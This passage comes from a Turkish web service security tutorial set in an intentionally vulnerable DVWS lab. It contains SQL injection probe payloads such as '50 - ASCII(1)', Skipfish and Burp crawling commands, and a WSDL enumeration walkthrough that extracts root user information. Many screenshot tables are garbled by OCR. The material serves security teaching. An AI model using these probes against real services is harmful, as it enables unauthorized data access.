| Flows | | | | | 0 | | | | | |
| History | | | Body Cookies Henders (| 7) Test Results | | ② 200 OK | 16 ms 283 B | Save Re | isponse ~ | |
| | | | Pretty Raw Pre | ew Visualize HTML ~ | = | | | Ę | àΩ | |
| | | | 1 2 {"first_name":" | Darth","last_name":"Vader"} | | | | | | |
| | | | | | | | | | | |
| | | | | | | | | | | |
| E Online | Q. Find and Replace 🔂 Cor | nsole | | | 🕲 Cookies 😪 | Capture requests | 19 Bootcamp | Runner | 1 Trash | e c |

Girilen Zararlı (Payload): 50 - ASCII(1)

| File Edit Vi | iew Help | | | Postman | | | | | ••• |
|--------------|-----------------------------|--------------|-------------------------------|--------------------------|-------------------------------------|----------------------|----------------|---------------|-------------------|
| Home Wo | orkspaces ~ API Networ | rk ~ Explore | | Q Search Pr | ostman | A Invite | 🕸 ¢ 🎯 | Upgrade | × |
| A My Works | pace | New Import | OET http://192.168.0.31/dvv ● | + | | | No Environment | ~ | E |
| Collections | + = | | http://192.168.0.31/dvws- | master/vulnerabilities/s | qli/api.php/users/50 - ASCII(1) | | 🖺 Save 🗸 | / E | $\langle \rangle$ |
| 8 | > DVWA Web Service | | GET ~ http:// | /192.168.0.31/dvws-mast | er/vulnerabilities/sqli/api.php/use | rs/50 - ASCII(1) | | Send 🗸 | 0 |
| Environmenta | | | Params Authorization | Headers (6) Body | Pre-request Script Tests | Settings | | Cookies | |
| | | KEY | | VALUE | DESCRI | PTION | eee Bulk Edit | | |
| Mock Servers | | | Кеу 2 | | Value | Descrip | tion | | |
| HISTORY | | | Body Cookles Readers | (7) Test Results | | 200 OK | 26 ms 283 B Sa | we Response 🗸 | |
| | | | Pretty Raw | view Visualize | HTML ∨ ↔ | | | ΓΩ | |
| E Online | Q. Find and Replace 🕞 Conso | sle | | | 🕓 Cookie | s 🖑 Capture requests | ⊕ Bootcamp | unner 📋 Trash | EE (|

İlk payload'da tırnak karakteri sql hatası döndürmüştür. Demek ki tırnak karakteri sql ifadesi olarak işlenmiştir ve fazla tırnak ile sql hatasına sebep olmuştur. İkinci payload'da 1 ifadesi girilmiştir ve karşılık olarak 1 kaydı dönmüştür. Üçüncü payload'da ise ASCII(1) sql ifadesi girilmiştir. Bu sql ifadesi değeri 49'a eşittir. 50-ASCII(1) ile 50'den 49 çıkarıldığında 1 kalacaktır ve 1 kaydı yine yanıt olarak dönecektir. 1 payload'u ile 50-ASCII(1) payload'u aynı çıktıyı verdiğinden ASCII() sql ifadesi olarak çalışmıştır. Demek ki sql enjeksiyonu açıklığı var. Bu tespit sonrası sql ifadeleri uygun şekilde girilerek sql enjeksiyonu gerçekleştirilebilir.

Bu şekilde Postman ile rest web servisi güvenlik testleri uygulanabilir.

5.3.5 Chrome "Boomerang SOAP and REST Client" Eklentisi

Bu uygulamada bir web tarayıcı eklentisi aracılığıyla kasıtlı zafiyetler içeren dvws soap web servisinin güvenlik testine tabi tutulması uygulanacaktır.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makina |
|---------------------------------------|-----------------------------|
| Boomerang SOAP and REST Client Plugin | // Web Servis Güvenlik |
| | // Testi Chrome Eklentisi |
| DVWS - Windows 10 Home Premium | // Zafiyetli Web Servisi VM |

Not: Kasıtlı zafiyetler içeren DVWS web servisi eski kaldığından sadece eski php versiyon 5.5.38'de uygulamaları düzgün çalışır durumdadır.

Not 2: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Soap web servisleri denetlerken daha önce SoapUI, Burpsuite, Netsparker ve Postman kullanmıştık. Bu işlemi web tarayıcı eklentileri yoluyla da yapabiliriz. Yani service requestor'ımız
bu sefer web tarayıcı eklentisidir.

- Boomerang SOAP and REST Client (Chrome Eklentisi)

Bu v.b. web tarayıcı eklentileri ile wsdl dosyası parse edilebilir, örnek soap talepleri otomatik oluşturulabilir ve paketlerde oynamalar yaparak ve göndererek web servis denetlemesi uygulanabilir.

Boomerang SOAP and REST Client eklentisi chrome web tarayıcılara kurulduğunda şöyle bir arayüzle ekrana gelmektedir.



Öncelikle test edilecek DVWS soap web servisinin wsdl dosyası url'sini alalım.





Ardından Chrome eklentisi arayüzünde Create a Service diyerek test edilecek Soap web servisinin WSDL dosyası url'sini girelim veya dosya elde mevcutsa dosya yüklemesi Browse seçeneğini kullanarak wsdl dosyasını yükleyelim.

| Activities 🛛 🧧 Google Chrome 🔻 | Pzt 15:09 | - E 🕫 🕻 🕾 📢 🖉 - |
|---|--|-----------------|
| 📻 💿 192.168.71.12/dvws/vuln 🗴 🥃 Boomerang 🛛 🗙 | + | o 🛛 🖉 |
| ← → C ☆ 🏶 Boomerang-SOAP & REST Client chrome-exter | nsion://eipdnjedkpcnlmmdfdkgfpljanehloah/app/workspace.html# | Pa 🗴 🕹 😅 🏞 🏝 🗄 |
| Boomerang Y | | Ξ. |
| | | |
| 9 | Welcome to Boomerang | |
| 0 | Let's get started | |
| | Let's get statted: | |
| | Create a Service | |
| | Try new Boomerang | |
| E | | |
| Ŷ | | |
| | | |
| | | |
| | | |
| | | |
| | | |
| 0 | | |
| | | |



Bu şekilde hedef dvws soap web servisin arayüzü / kapsamı eklentiye (web servisi tüketen / kullanan uygulamaya) yüklenmiş olacaktır.

| Activities 🛛 🧕 Google Chrome 🔫 | Pzt 15:15 | 😴 🕻 🕆 📢 🗇 🗸 |
|--|--|----------------|
| - 😁 😒 192.168.71.12/dvws/vuln 🗴 🐸 Boomerang 🛛 🗙 + | | • • • |
| ← → C ☆ A Boomerang - SOAP & REST Client chrome-extension://eipdnjedkpcn | lmmdfdkgfpljanehloah/app/workspace.html# | Ri 🖈 🐸 🛥 🛊 🏝 🗄 |
| Boomerang 🗸 | | |
| A ODVWS Web Servis Testi | | |
| Population Welcome to B | loomerang | |
| Return_price | | |
| 0 | Let's get started! | |
| | Consta & Sandan | |
| | Cibale a Service | |
| | Try new Boomerang | |
| E | | |
| \odot | | |
| | | |
| | | |
| | | |
| * | | |

Sol sütunda hedef soap web servisin kabul ettiği parametreler sıralanacaktır. Bu parametrelerden biri için örnek bir xml talebi otomatik şekilde oluştur diyelim.





Ardından oluşan örnek xml talebini kurcalayarak hedef dvws soap web servise gönderelim.

| Activities 🛛 🧔 Google Chrome 👻 | Pzt 15:16 | 🐮 (🕆 4) 🖯 🗸 |
|---|---|---------------------------------|
| S 192.168.71.12/dvws/vuln × S Boomerang | × + | o e e e |
| ← → C ☆ Soomerang - SOAP & REST Client chrome | e-extension://eipdnjedkpcnlmmdfdkgfpljanehloah/app/workspace.html# | 🛚 🖈 🥹 💷 뵭 🛎 E |
| Boomerang | Y Requesti X | = |
| OVWS Web Servis Testi Check_user_id | POST - http://192.168.71.12/dwss/vulnerabilities/wsdlenum/service.php | A Send Request Response |
| Population | BODY HEADERS PARAMS AUTH SCRIPT DOCS | XML + No Environment + |
| Request1 | 1 - cr:Envelope anhos:xv"http://schenas.xmlsoap.org/soap/envelope/* xmlns:dww"dwwa:webservice*> C 2 - cr:Ender/ cr:Ende | |
| | 5 | |
| | | |
| | | b) |
| Ψ | | 0) |
| | | |
| 8 | | |
| | | |
| ۹. | | |

(Not: Return_Price arguman değerleri dvws sayfasının sunduğu ekrandaki radio button'ların name attribute'unlarından elde edilmiştir).

| Activities 🏮 Google Chrome 👻 | Pzt 15:17 | 🎓 🕻 🕆 🕀 🗸 |
|--|---|---|
| : 🤤 💿 192.168.71.12/dvws/vuln 🗙 🥥 Boomerang | × + | • • • |
| ← → C ☆ Soomerang-SOAP & REST Client chrome- | xtension://eipdnjedkpcnimmdfdkgfpijanehloah/app/workspace.html# | 国 ☆ 🥹 😅 🌲 🗄 |
| Boomerang | Request: × | = |
| ODVWS Web Servis Testi Check_user_id | POST - http://192.168.71.12/dvws/vulnerabilities/wsdlenum/service.php | A Send Request Response |
| Population | BODY HEADERS | Length: 523 Bytes Duration: 30 ms SUCCESS 200 XML + |
| Request | I «Vani version". 1.6" exceding: "150-6655 1"?» 2* «GMP-ENFiceVices GMP-ENFiceViceSupStrafts" http://schemsmlssap.org/ssap/exceding/* whits:SMP-ENF 2* «GMP-ENFiceViceSupStrafts" http://schemsmlssap.org/ssap/exceding/* whits:SMP-ENF 3* «GMP-ENFiceViceSupStrafts" http://schemsmlssap.org/ssap/exceding/* whits:SMP-ENFiceViceSupStrafts | elope/" xmlns:xsd="http://www.w3.org/2001 |
| | d = destillentry_priceResponse andLestell @waiveBearvice"> | |
| E | | |
| \$ | | |
| 8 | | |
| | | |
| | | |



(Not: Return_Price arguman değerleri dvws sayfasının sunduğu ekrandaki radio button'ların name attribute'unlarından elde edilmiştir).

| Activities 🛛 🧧 Google Chrome 👻 | Pzt 15:33 | 👸 L 😤 44 🛙 👻 |
|---|--|---|
| : 🚍 💿 192.168.71.12/dvws/vuln 🗴 🥥 Boomerang | × + | • • • |
| ← → C ☆ Soomerang - SOAP & REST Client | chrome-extension://eipdnjedkpcnlmmdfdkgfpljanehloah/app/workspace.html?id=0 | Na 🕹 🥃 🏶 🏛 🗄 |
| Boomerang | V Request1 × | Ξ. |
| A ODVWS Web Servis Testi Check_user_id | POST http://192.168.71.12/dvws/vulnerabilities/wsdienum/service.php | - ASend Request Response |
| Population Return price | BODY HEADERS | Length: 523 Bytes Duration: 41 ms SUCCESS 200 |
| 0 | I: The second sec | ://schemas.xmlsoap.org/soap/envelope/" xmlms:xsd="http://www.w3.org/2001 wp.org/soap/encoding/"> |
| | | |
| | # 8 | |
| 1 2 | | |
| ¢ 🏵 | | |
| | | |
| 8 | | |

Bu şekilde chrome eklentisi yoluyla wsdl dosyası yükleme ve hedef soap web servislerde güvenlik denetimleri uygulama yapılabilir.

5.4 Web Servislerde Temel Açıklar, Sömürme Adımları ve Önlemler

5.4.1 WSDL Enumeration (CWE-651, CAPEC-95)

Bu demoda bilgi ifşası açıklığı ele alınacaktır. SOAP bir web servisin WSDL kapsam dosyasını elde etme, oradan yola çıkarak hassas bir xml http isteği keşfetme ve bu istek üzerinden bilgi toplama gösterilecektir.

Daha teknik ifadeyle hedef SOAP dvws web servisin kapsamı "fuzzing" ile elde edilecektir ve elde edilen kapsam ile soap web servise "enumeration" uygulanacaktır.

Kullanılan Materyaller

Ubuntu 18.04 LTS// Fiziksel MakineDVWS - Windows 10 Home Premium VM// SOAP DVWS Web Servis Sanal Makine

Not: DVWS kasıtlı zafiyetler içeren web uygulamasının Windows 10 Home Premium'a kurulumu için bkz. <u>EK > DVWS Web API'yi Windows'a (Windows 10 Home Premium Sürümüne) Kurma</u>.

Açıklık Açıklaması

Siber güvenlik alanında "enumeration" kavramı bir hedefin sistematik olarak bilgi almak için yoklanması işlemine denir. "Enumeration" hacking (ele geçirme) faaliyetlerinin keşif aşamalarında kritik öneme sahiptir. Hedef sistemde kullanıcılar, ağlar, sunucular, uygulama konfigurasyonları v.b.leri üzerinden bilgi toplamaya denir.

WSDL kavramı ise soap web servislerin kapsam dosyasını ifade eder. WSDL ile ne türden xml http talepler soap web servise yapılabileceği ve buna göre soap web servisten yanıt alınabileceği bilgileri alınır. Eğer soap web servisin kapsam dosyası elimizde değilse tamamen karanlıktayız demektir. Çünkü ne türden xml http istek yapılabileceğini (http başlık olarak neler kullanılabileceğini, http gövdede hangi parametrelerin kullanılabileceğini,...vs.) bilmiyoruz. Soap web servis sunucusunun kabul ettiği xml http isteklerinden biri ile mi isteği gönderdiğimizi de bilmiyoruz. Dolayısıyla WSDL bize bunları öğretmektedir. WSDL var olduğunda "geçerli" bir

istek yapabiliriz.

Açıklığın Çözümü

Öncelikle crawling ile hedef soap web servis haritalandırılır. Hedef soap web servise crawling yapmak için çeşitli araçlar vardır. Burada iki örnekten bahsedilecektir.

- Skipfish (ücretsiz)
- Burpsuite Pro (ücretli)

i) Skipfish

Ubuntu 18.04 LTS Terminal:

> skipfish -o Desktop/result/ http://dvws_webservis_url/dvws/

Çıktı:



Tarama Başlatılır

| ictivities 🗖 Terminal 🛪 | |
|--|----------------------|
| | taria generative and |
| File Edit View Search Terminal Help | |
| skipfish version 2.10b by lcamtuf@google.com | |
| | |
| - 192.108.56.103 - | |
| Scan statistics: | |
| | |
| HTTP requests : 5663 (498.4/s), 11946 kB in, 1166 kB out (1146.3 kB/s) | |
| Compression : 0 kB in. 0 kB out (0.0% gain) | |
| HTTP faults : 0 net errors, 0 proto errors, 0 retried, 0 drops | |
| TCP handshakes : 63 total (94.6 reg/conn) | |
| TCP faults : 0 failures, 0 timeouts, 1 purged | |
| External links : 37 skipped | |
| Reqs pending : 295 | |
| Database statistics: | |
| Diverse (270 teta) E0 dees (20 70%) | |
| To proverse 2/9 total, 58 done (20.79%) | |
| Histon notes : So penuing, 102 thtt, 7 attacks, 2 atta | |
| Node types : 1 serv. 19 dir. 59 file. 0 pinfo. 194 unkn. 6 par. 0 val | |
| Issues found : 12 info, 0 warn, 0 low, 2 medium, 0 high impact | |
| Dict size : 148 words (148 new), 7 extensions, 256 candidates | |
| Signatures : 77 total | |
| | |
| • | |
| | |
| a | |
| | |
| | |
| | |
| | |

Tarama Sürer



 Note:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:
 State:</td

Tarama Sonucu Gelir

WSDL Elde Edilir

b) Burpsuite Pro

> BurpSuitePro

Dashboard -> New Scan -> Scan Type -> Crawl -> URLs To Scan -> http://dvws_webservis_url -> OK

num/service.php/check_user

DNA and Service Binding' Lyne-TorrENA and Service Pertype's Style="rpc" transport="http://schemas.colsonp.org/sonp/http:// w="Ritern price"

://D2.b66.56.100/dvvs/valmerabilities/wsflenam/service.php/Rterm ace=** encodingStyle=*http://schemas.anlooge.org/smap/encoding/*/ ace=** encodingStyle=*http://whemas.anlooge.org/vmap/encoding/*//

| 🏹 🔲 🗖 🍃 🏟 🎦 v 1 2 3 4 | i 🔽 🧆 🖿 | | | | 🖸 (genmon) | xxx 🜒 🌘 | 14:25 | ≙ ⊝ |
|---|--|---------------|--------------|------------------|---------------------|-----------|------------|------------|
| Burp Suite Professional vi | 1022.2.5 - Temporary Project - licensed to TU | BITAK BILGEM | Kamu Sertifi | kasvon Merkezi I | single user license | 1 | | |
| Burp Project Intruder Repeater Window Help | | | | | | , | | •••• |
| Dashboard Target Proxy Intr ader Repeater | Sequencer Decoder Comparer | Logger | Extender | Project options | User options | Learn | | |
| Tasks 🗵 New sc | an () New live task 🕕 💮 🖓 🦯 | Issue activit | ty | | | | | ? «* |
| Filter Running Paused Finished | Intruder attack & Search | ₽ Filter (Hig | h Medium | Low Info | Certain Firm | Tentative | P Search | |
| 1. Live passive crawl from Proxy (all traffic) | 间向南 | # V Tas | k . | Time | Action | | Issue type | |
| Add links. Add item itself, same domain and URLs in suite scope. | 0 items added to site map | | | | | | | |
| | 0 responses processed | | | | | | | |
| Capturing: | 0 responses queued | | | | | | | |
| 2. Line multi from Deem fall traffic) | | | | | | | | |
| Audit checks - nassion | | | | | | | | |
| Palat Cricco - passine | | | | | | | | |
| Capturing: | U requests (U errors) | | | | | | | |
| Event log | () «× | Advisory | | | | | | |
| Filter Critical Error Inf Debug | P Search | | | | | | | |
| Time ~ Type Source | Me | | | | | | | |
| 14:24:2514 Nov 2022 Info Proxy Proxy 14:24:1714 Nov 2022 Info Suite Runn | service started on 127.0.0.1:8080 | | | | | | | |
| | ng as seper raser, en actore orom ser samaaak rank | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| 1 | | | | Memory: | 82.4MB | | JISK 32KB | |

| 📉 🛑 💼 🍃 📦 🖻 |] + 1 2 3 4 🗆 🌄 🖬 📫 | 🗂 (genmon)XXX 🌗 | ۰ | 14:25 | ≙ ⊕ |
|--|---|-----------------------|-----|------------|------------|
| 5 5 | New scan | | 8 | | |
| Burp Project Intruder | | | П | | |
| Dashboard Target | Scan Type | | - 1 | | |
| Tasks | Crawl and audit | | - 1 | | 0,~ |
| Filter Running Pause | © Crawl | | | P Search | |
| 1. Live passive crawl from Pr | guratio 2 URLs to Scan | | - 1 | Issue type | |
| Add links. Add item itself, sau | Define the URLs to scan. Burp will begin crawling from these URLs, and by default will include everything beneath the spe | cified URLs' folders. | - 1 | | |
| Capturing: Capturing: | ication gin http://192.168.56.103/dvws/ | | 11 | | |
| 2. Live audit from Proxy (all t Res | () ource | | | | |
| Audit checks - passive | | | | | |
| Capturing: | | | | | |
| Event log | | | 1 | _ | |
| Filter Critical Error | Protocol settings Scan using HTTP & HTTPS Scan using my specified protocols | | | | |
| 14:24:25 14 Nov 2022 II 14:24:17 14 Nov 2022 II | > Detailed scope configuration | | | | |
| | | | | | |
| | | | | | |
| | 3 | | | | |
| 0 | | OK Cancel | 5 | 32KB | |

| 📉 🖃 🖿 🍡 | 📫 🔚 🗸 | 1 | 2 3 4 | 5 0 | | | | | | | 1 | 🖸 (ger | nmon)> | XX 🌒 | ٠ | 14:25 | | Ģ |
|---|------------------------------|----------------------------------|--|---|--|---|---------------|---------|-------------|------------|-----------|------------|----------|-----------|------|------------|---|---|
| 5 | Bu | rp Suite Pro | fessional v20 | 22.2.5 - Tempo | rary Projec | t - licensed to 1 | UBITAK BIL | GEM Ka | amu Sertifi | ikasyon M | erkezi (s | ingle user | license) | | | | | 8 |
| Burp Project Intruder | Repeater | Window I | ielp | | | | | | | | | | | | | | | |
| Dashboard Target | Proxy | Intruder | Repeater | Sequencer | Decode | r Comparer | Logger | Ex | tender | Project of | otions | User opt | ions | Learn | | | | |
| Tasks | | | New scan | 🕘 New lis | e task | ॥⊚?√ | Issue a | ctivity | | | | | | | | | ? | ~ |
| Filter Running Pau | used Finish | ed) Live | task Scan | Intruder attack | P 😣 | rch | Filter | High | Medium | Low | Info | Certain | Firm | Tentative | | P Search. | | |
| Audit checks - passive | | | | o requests | 0 errors) | ♥ ♥ View details ≫ | #~ | Task | | Time | | Actio | • | | | Issue type | | |
| 3. Crawl of 192.168.56.10 Default configuration | 3 | | | 44 request | (0 errors) | 00022 | | | | | | | | | | | | |
| Unauthenticated crawl. Es | itimating time i | remaining | | 18 location | crawled | View details ≫ | | | | | | | | | | | | |
| Event log | | | | | | (?) ₄ " | Advisor | y | | | | | | | | | | |
| Filter Critical Erro | 1110 0 | ebug | | | P 500 | rch | 1 | | | | | | | | | | | |
| Time \sim | Type | Sour | ce | | | N | • | | | | | | | | | | | |
| 14:25:1914 Nov 2022 14:25:1814 Nov 2022 14:25:1814 Nov 2022 14:24:2514 Nov 2022 14:24:1714 Nov 2022 | Info Info Info Info | Task3 Task3 Proxy Suite | Your ma Crawl st Proxy se Running | chine specificati arted. nvice started on 1 as super-user, e | on does not : 27.0.0.1:80 mbedded br | appear to meet th 80 owser sandbox is r | ĸ | | | | | | | | | | | |
| | | | | | | | | | | м | emory: 9 | 4.8MB 🗖 | | | Disk | 32KB | | _ |

| 🋐 💷 🗖 🔓 |) 📦 도 | v 1 2 | 3 4 🚺 🖬 | | | | | | | 🗖 (ge | nmon)) | XX 🌒 | | 14:25 | ₽ | G |
|--------------------------|---------------|------------------|-------------------------|--------------------|-------------------------|---------------|--------|------------|-----------------|---------------|-----------|-----------|---------|------------|---|---|
| 5 | В | urp Suite Profes | sional v2022.2.5 - Tem | porary Project | - licensed to TL | BITAK BILO | iEM Ka | mu Sertifi | kasyon Merke | i (single use | r license | 1 | | | | |
| Burp Project Intrud | ler Repeater | Window Help | | | | | | | | | | | | | | |
| Dashboard Targe | et Proxy | Intruder | Repeater Sequence | r Decoder | Comparer | Logger | Ex | tender | Project options | User op | tions | Learn | | | | |
| Tasks | | € | New scan 🕒 New | live task 🛛 🛈 | 000~ | Issue ac | tivity | | | | | | | | 0 | 2 |
| Filter Running | Paused Finish | ned) Live task | Scan Intruder atta | ck 🖉 Searc | :h | Filter | High | Medium | Low Info | Certain | Firm | Tentative |) | P Search. | | |
| Audit checks - passive | | | issues: | | U U | #~ | Task | | Time | Actio | n | | | Issue type | | |
| Capturing: | | | 0 reques | ts (0 errors) | | | | | | | | | | | | |
| captoning. | | | | Vi | iew details ≫ | | | | | | | | | | | |
| | 10.2 | | | 6 | 0.0.0 | | | | | | | | | | | |
| 3. Crawl of 192.168.56.1 | 103 | | | 0 | O O O L | | | | | | | | | | | |
| Default configuration | | | 597 requ | ests (0 errors) | | | | | | | | | | | | |
| Crawl finished. | | | 68 locati | ons crawled 🔫 | | | | | | | | | | | | |
| | | | | Vi | iew details ≫ | | | | | | | | | | | |
| - | | | | | _ | | | | | | | | | | | |
| Event log | | | | | @ «* | Advisory | _ | | | | | | | | | |
| Filter Critical E | rror (Info (| Debug | | P Searc | :h | | | | | | | | | | | |
| Time \smallsetminus | Туре | Source | | | Me | | | | | | | | | | | |
| 14:25:4614 Nov 2022 | Info | Task 3 | Crawl completed. | | | | | | | | | | | | | |
| 14:25:42 14 Nov 2022 | Info | Task 3 | [4] Your machine spe | cification does no | st appear to meet | | | | | | | | | | | |
| 14:25:18 14 Nov 2022 | Info | Task 3 | Crawi started. | 0137.0.0.1-8080 | | | | | | | | | | | | |
| 14:24:25 14 Nov 2022 | Info | Suite | Proxy service started o | embedded brow | y wser sandhov is ne | | | | | | | | | | | |
| 14.24.17 14 407 2022 | | Jane | manning as super-use | , | mach ann about 15 m | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | |
| | | | | | | | | | | | | | | | | |
| | | | | | | | | | Memory | 108.7MB | | | Disk: 3 | 2KB | _ | _ |

| S = - S 🔹 - 1 2 3 | 4 5 | | | | | | 🖸 (genmon |)XXX 🌗 | ۰ | 14:26 | ₽ | G |
|--|---|---|--|--|--|-------------------|--------------------|--------|---|-------|----|---|
| Burp Suite Professiona | l v2022.2.5 - Tempo | rary Project - l | censed to TUBITAK BILGE | M Kamu S | iertifi | kasyon Merkezi [s | single user licens | e] | | | 00 | 8 |
| 2 bashboard Target Proxy Intruder Repe | ater Sequencer | Decoder | Comparer Logger | Extende | r | Project options | User options | Learn | | | | |
| Filter: Hiding not found items; hiding CSS, image and general bi | 3 pntent; hiding 4xx | esponses; hidin | g empty folders | | | | | | | | | 0 |
| http://192.168.56.103 | Contents | | | | | Issues | | | | | | _ |
| v dws | Host | Method | URL | Params | Sta | | | | | | | |
| Attacking & DOLomby 20 Were safe % 20 Were % Attacking % DOLomby 20 Were safe % 20 Were % Were safe % Were % | Http://12.348.54.50 Http://22.348.54.51 Http://2 | GET GET GET GET GET GET GET GET GET Request Attribu Request Attribu | leved level starts the start of the start | √ √ √ √ √ √ √ ↓ 1 2 7 8 | 200 200 200 200 200 200 200 200 200 200 | Advisory | | | | | | |





Görüldüğü gibi web servis crawling (haritalandırma) işleminde hem skipfish hem de burpsuite soap web servisin kapsamını (wsdl url'ini) keşfetmiştir.

Wsdl keşfi sonrası wsdl url'sine gidip CTRL+S ile kapsam diske kaydedilecektir (services.xml) ve herhangi bir web servis istemcisine import edilecektir. Bunun için POSTMAN'i kullanalım.





| Ca | | | | Q Open |
|-----|-----------|--|-----------|---------------|
| ø | | bome besktop | | |
| ŵ | | Name | Size | Modified |
| | | Transferration | | 12 Haz |
| | Decumente | Bug Holdsler | | 8 Ara 2021 |
| | | Eliterativ | | 8 Kas |
| ^ ⊹ | Downloads | 🦀 melakotanakak Apikilar talgalari | | 6 Eki |
| 99 | | 📔 lan lingsara birlanlari | | 8 Kas |
| o. | | | | 13 Nis |
| | | | | Yesterday |
| • | | Yes Report | | 3 Mar |
| | | Interface beneficiated and the beneficiate | | |
| | | | 4.2 40 | Çiş 10 Mar |
| | | D darwin wenter | 10.4 kB | 25 Haz |
| | | The second | 566 bytes | 23 Ara 2021 |
| | | 🕒 mentips solarabler | 163 bytes | 4 Kas |
| | | Linking Calific - 10 Oper Namer Lancer Joint meriden of scanners for 10 date Himmer 2013, discharge sylwardeling | 372 bytes | 7 Eki |
| | | Increase, m., this, down the universities, have a part | 600.6 kB | 7 Eki |
| | | 👔 hisadir boʻnglish Firebaalap oʻa osarar denellaadalir i iyles, absilap | 188 bytes | 8 Kas |
| | | C Matthewinder behalted | 293 bytes | 13 Şub 2018 |
| | | 🕒 elgengedinis hait-sub-mailartidi. | 35 bytes | 11 Haz 2018 |
| | | 2 service.xml | 3.4 kB | 12:45 |
| | | | 96 bytes | Yesterday |
| | | Constraint provide reduction | 80 bytes | 19 May |
| | | The second se | 1.5 KB | 5 May |
| | | Terrar Department of the department of the | 2.0 KB | 13 ŞUD 2018 |
| | | The second se | 95.0 kB | 3 Tem |
| | | | 33.0 KD | 5 ICH |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |
| | | | | |

| | | Postman | | | 000 |
|---|---|-------------------|----------|----------------|---------------------------|
| File Edit View Help Home Workspaces ~ | API Network ~ Explore | Q Search Postman | ې Invite | 🕸 4 🌀 | Upgrade v |
| A My Workspace | New Import + *** | | | No Environment | ~ E |
| Collections + T Collections Ans Environments Collections Monte Servers Monte Servers Monte Servers Monte Servers Monte Servers | Import Select files to Import • 1/1 selected Make DWA Web Service C C C C C C C C C C C C C C C C C C C | POBMAT WSDL 11 | API | | v B top 2 0 |

Bunun neticesinde web servisin tanıdığı xml http istekler listelenir.



Kapsamdaki xml http istek paketleri ile soap web servis endpoint'lerine (uç noktalarına) istekler yapılabilir hale gelinir. Listelenen xml http isteklerinden biri açıldığında "Body" sekmesine gelerek isteğin parametreleri kurcalanabilir ve girilecek değerler ile SEND sonrası yanıtlar gözlemlenebilir. Örneğin return_price xml http isteğinde iOS, veya Android girildiğinde yanıt olarak bir sayı gelmektedir.







Crawling ile keşfedilen soap web servis kapsam dosyasında farklı xml http istekleri de vardır. Bunlar incelendiğinde check_user_information adlı bir xml http isteği göze çarpacaktır. İsminden anlaşıldığı kadarıyla kullanıcı adıyla bir şeyler sorgulayan ve döndüren bir xml http isteği. Dolayısıyla burada kritik bir şeyler vardır düşüncesiyle bu xml http isteği üzerine odaklanılır.

| File Edit View Help | | Postman | | | | | e | ••• |
|--|---|--|-----------------------------|-----------------|--------------|------------|----------|------|
| Home Workspaces ~ API Network ~ Explore | | Q Search Postman | | 👌 Invite | ¢ | () | Jpgrade | ~ |
| | POST check_user_id | + 000 | | | No Environme | ent | Ý | 8 |
| Collections + = | DVWA Web Service / che | ick_user_ld | | | Save 🗸 | •••• | Ē | ii) |
| o ⁶ ∨ [[] draft | POST ~ {{DVW | /A Web Service PortBaseUrl}}/dvws/vu | ulnerabilities/wsdlenum/ser | vice.php | | Send | - × | Ţ |
| DVWA Web Service | Params Authorization | Headers (10) Body • Pre-re | quest Script Tests S | ettings | | c | ookles | |
| Environments > Post check_user_id | none form-data | x-www-form-urlencoded e raw | binary GraphQL | XML ~ | | E | leautify | £ |
| Los Severs Montes - e Frees Frees Heatory | 1 grant version- 2 csop:Envelope 5 csop:Envelope 5 csop:Envelope 9 Response | 1.0° encoding="utf-3"? Kulns:sape="http://schemas.wx IdRequest> pstIng idRequest> p> Click S | Iscep.org/keep/envelop | e/*> | | | × | (Q): |
| Online Q Find and Replace Console | | | د Cookles 🗞 🗘 | apture requests | 😌 Bootcamp | Runner | 🗊 Trash | • 0 |

Bu dikkate değer istek gövdesinde bir kullanıcı adı almaktadır. Buraya denemeler yapılabilir. Örneğin uygulama dünyasında sık kullanılan ve yetkisi en yüksek olarak bilinen root kullanıcı adı girilebilir.

| File Edit | | | | | e | |
|--|---|-----------------------------|---|--------------|----------|-----|
| Home | Workspaces ~ API Network | Explore | Q. Search Postman | a 🌀 🗌 | Upgrade | ~ |
| 옷 My Wo | rkspace | New Import | POST check_user_id • + *** No Envir | onment | ~ | |
| Collections | + = | | DVWA Web Service / check_user_ild | *** | ۶ (| 2 |
| 00 APIs | VUWA Web Service VIII draft VIIII draft | | POST v ((DVWA Web Service PortBaseUrii)/dwws/vulnerabilities/wsdlenum/service.php | Ser | id ~ | E |
| e. | DVWA web service Post Return_price | | Params Authorization Headers (10) Body Pre-request Script Tests Settings | | Cookles | |
| Environments | > POST check_user_id | | ● none ● form-data ● x-www-form-uriencoded ● raw ● binary ● GraphQL XML ∨ | | Beautify | (i) |
| Mock Servers Monitors Dif <mark>©</mark> Flows History | | | <pre>create_lineviper milit::coger*http://schemas.mlisop.org/som/envelope/*> create_lineviper* create_</pre> | | Т | 0 |
| | | | Body Cookies Headers (8) Test Results | 0 B Save Res | iponse ~ | 1 |
| | | | Pretty Raw Preview Visualize xxxL ~ == 1 @7xxl.version="1.0" encoding="ISO-8859-1"? | C | | |

Yanıt döndüğünde isabetli bir deneme yapıldığı ve en yüksek haklardaki kullanıcının bilgilerinin döndüğü tecrübe edilecektir.

Açıklığın Önlemi

